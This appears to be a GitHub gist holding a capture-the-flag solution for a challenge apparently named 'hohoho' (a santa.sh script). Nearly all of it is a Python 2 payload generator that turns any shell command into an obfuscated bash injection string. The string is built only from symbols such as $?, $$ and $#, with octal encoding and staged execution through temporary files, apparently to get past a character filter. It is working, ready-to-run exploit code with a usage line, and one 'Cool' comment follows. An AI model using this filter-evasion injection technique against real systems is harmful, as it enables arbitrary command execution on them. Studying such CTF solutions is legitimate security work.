Skip to content

Instantly share code, notes, and snippets.

@eboda
Created December 29, 2016 22:10
Show Gist options
  • Save eboda/3bd1273e353429e6f1cbd322881284b0 to your computer and use it in GitHub Desktop.
Save eboda/3bd1273e353429e6f1cbd322881284b0 to your computer and use it in GitHub Desktop.
hohoho solution
import sys
m = {
'0' : '$[$?/$$]',
'1' : '$?',
'2' : '$[$?+$?]',
'3' : '$[$?+$?+$?]',
'4' : '$[$?+$?+$?+$?]',
'5' : '$[$?+$?+$?+$?+$?]',
'6' : '$[($?+$?+$?)*($?+$?)]',
'7' : '$[($?+$?+$?)*($?+$?)+$?]'
}
OUTFILE_1 = "$#"
OUTFILE_2 = "$$"
BASH_STRING = "(());${!#:(($?+$?+$?)*($?+$?)+$?):$?}" #substr("./santa.sh", 7, 1) = "."
def conv(c):
""" Convert a character to its octal representation """
n = map(lambda x: m[x], list(str(oct(ord(c)))[1:]))
return "\\\\" + ''.join(n)
def go(cmd):
payload = ';(());'
# add ;$' to the output
payload += '";"\$"\'"'
# convert each character to octal and then generate a representation for each digit
payload += ''.join(map(conv, list(cmd)))
# write stderr to the file 0
payload += '"\';"&>%s;' % OUTFILE_1
# execute bash 0 and write stderr to a file $$,
# this step resolves the octal representation to regular ascii
payload += '%s %s&>%s;' % (BASH_STRING, OUTFILE_1, OUTFILE_2)
# execute bash $$'
payload += '%s %s;' % (BASH_STRING, OUTFILE_2)
return payload.replace("\\", "\\\\")
if __name__ == "__main__":
if len(sys.argv) <= 1:
print "Usage: python %s cmd" % sys.argv[0]
exit()
cmd = ';' + ' '.join(sys.argv[1:]) + ';'
print go(cmd)
@abdilahrf
Copy link

Cool

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment